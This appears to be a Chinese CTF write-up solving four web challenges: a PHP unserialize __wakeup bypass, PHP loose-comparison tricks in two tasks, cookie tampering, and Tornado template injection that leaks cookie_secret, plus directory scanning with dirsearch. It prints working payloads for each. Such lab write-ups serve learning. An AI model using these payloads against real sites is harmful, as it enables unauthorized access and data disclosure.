[极客大挑战 2019]PHP1

题目描述:

image-20220614185558645

思路:

  1. 一开始只想到看源码,没发现
  2. 提示==备份==,扫描网站目录呀

python3 dirsearch.py -u “http://49ccffbe-070a-4af8-bedc-679f278f20f3.node4.buuoj.cn:81/?.php" -e * -w ndb

kali:目录在~的dirsearch

扫描工具使用:

dirsearch:

下载项目,并打开

Copy┌─[root@kali]─[/kali]
└──╼ #git clone https://github.com/maurosoria/dirsearch
Copy┌─[root@kali]─[/kali]
└──╼ #cd dirsearch/

运行需要python3环境

Copy┌─[root@kali][/kali/dirsearch]
└──╼ #python3 dirsearch.py -u "http://localhost/" -e *

扫描网站需要指定网站的脚本类型,* 为全部类型的脚本

python3 dirsearch.py -u "950f20e7-c4b0-4277-b5a4-98ba51ba0d1f.node4.buuoj.cn:81/" -e* -w db/综合高危.txt

kali中py3安装(kali自带py为2.~)

==但是这个笨蛋没有能扫出来啊啊啊==(还有,命令中-e* 中间没有空格)

如果要排除某些HTTP状态代码,请使用-x标志。

#dirsearch -u http://192.168.0.102/dvwa -e php -x 403

[详细命令:]([WEB安全]Dirsearch工具命令 - 肖洋肖恩、 - 博客园 (cnblogs.com))

image-20220615210142521

没想到Windows下的dirsearch能扫,哎哎

image-20220615223910618

Windows下dirsearch配置 dirsearch使用教程(Windows版本)_大西瓜的安全之路的博客-CSDN博客_dirsearch windows](https://blog.csdn.net/qq_43006864/article/details/121929398?ops_request_misc=&request_id=&biz_id=102&utm_term=dirsearch用不了&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-121929398.142^v14^pc_search_result_control_group,157^v14^new_3&spm=1018.2226.3001.4187))

==应该是网站有扫描限制==

换御剑扫

image-20220615210815012

多扫几次也不行,哎(工具小子都不会当😢)

顺带分享下大神整理的网站目录扫描工具


访问www.zip

两处代码:

Class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

以及index.php中

<?php
   include 'class.php';
   $select = $_GET['select'];
   $res=unserialize(@$select);
   ?>

得出url传参值需要:

password=100,username=admin`才能`echo $flag

payload:

<?php
   class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name(admin,100);
echo($b=urlencode(serialize($a)));
?>
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

需要对function __wakeup(){ $this->username = 'guest'; }进行绕过,可更改属性数量绕过(系列化漏洞)

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

最终payload1(php中的urlencode函数):

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
  1. 然后url识别不了",改为%22
  2. 因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个也输出。
  3. 也可以直接用序列化后的url编码。这里要注意,php的urlencode()是会自动把编码成%00

最终payload2(手动将==”==和 ==空格==用==%22==与==%00==替换):

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

image-20220615232229502

魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触`发

参考链接 BUUCTF 极客大挑战 2019]PHP 1_wow小华的博客-CSDN博客)

[ACTF2020 新生赛]BackupFile

题目描述:

image-20220616155752118

源码没消息,尝试dirsearch扫目录,无线索

换ctf相关备份字典:

扫的过程中image-20220616164707784

都是429(并发请求过多)

等会再扫

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

php弱类型比较(==),当数字和字符/字符串进行比较时会将字符/字符串先转化为数字(即数字字符转为原值,而字符会转为0)

得payload:

?key=123

[极客大挑战 2019]BuyFlag

题目描述:

image-20220624182551491

查看FLAG页面中的内容

image-20220624182642209

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

Only Cuit’s students can buy the FLAG

提示需要以Cuit(Chengdu University of Information Technology)学生的身份登录而且要输入正确的密码

pay.php中关键部分

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->
</html>

isset()函数是用来检验变量是否被设置的。
is_numeric()函数检测字符串是否只由数字组成,如果字符串中只包括数字,就返回Ture,否则返回False。

对于$password == 404,在PHP中==是一种弱类型比较,即只取字符串中开头的整数部分进行比较。

由此我们可以得出绕过密码的方法:
  用POST方法发送一个名为password的变量,令password = 404a(在404后面添加任意字母即可)或password = 404%20(相当于在404后面加了一个空格,其他空白字符也可以绕过)

注意到源代码中还有这样一句:Flag need your 100000000 money
也就是说我们还需要用POST方法上传money变量使其等于100000000

抓包

image-20220624183051037

在Request请求中,Cookie: user=0,这里是身份判断的位置,在布尔值中0为false,1为true,我们将其改为Cookie: user=1以通过身份验证。

image-20220624183246456

显示Nember lenth is too long应该是存在长度限制,这里有两种绕过方法
1、科学计数法绕过money=1e9
2、数组绕过money[]=1

image-20220624182938253

image-20220624183133926

[护网杯 2018]easy_tornado

SSTI 介绍

就是服务器端模板注入(Server-Side Template Injection)

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

tornado render

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

题目描述:

image-20220625220604668

flag.txt:

image-20220625220813133

welcome.txt

image-20220625220953841

hints.txt

题目链接:

http://e1b975d1-eca8-4604-b1a1-efe8bf0b1f35.node4.buuoj.cn:81/file?filename=/welcome.txt&filehash=7e73b8eecefb8cb8424ae331e3c4ac14

image-20220625221925582

猜测?msg即为注入点

image-20220625222033970

可见页面返回的由msg的值决定,修改msg的值形成注入,获得环境变量

推测md5加密过后的值就是url中filehash对应的值,想获得flag只要我们在filename中传入/fllllllllllllag文件和filehash,所以关键是获取cookie_secret

在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings["cookie"])}},这个其实就是handler.settings对象,里面存储着一些环境变量

  1. handler 指向RequestHandler
  2. 而RequestHandler.settings又指向self.application.settings
  3. 所有handler.settings就指向RequestHandler.application.settings了!
  4. 大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

payload1:

?msg={{handler.settings}} 

image-20220625222610664

Python脚本获取filename+cookie_secret的MD5加密值

import hashlib

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf8"))
    return md5.hexdigest()  #转为16进制显示

def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = 'fa7d9694-aaa4-4a87-bd8e-76b2c8f5f010'
    #print(md5(cookie_secret+md5(filename)))
    print(md5(cookie_secret + md5(filename)))

#防止模块被导入后下方代码也被执行
if __name__ == '__main__':
    filehash()

payload2:

ac815a16b2654d16425e58972575835e

finally payload:

file?filename=/fllllllllllllag&filehash=ac815a16b2654d16425e58972575835e

得到flag:

image-20220625223037057

总结:

Python tornado render 模板注入漏洞

参考:SSTI(模板注入)漏洞(入门篇)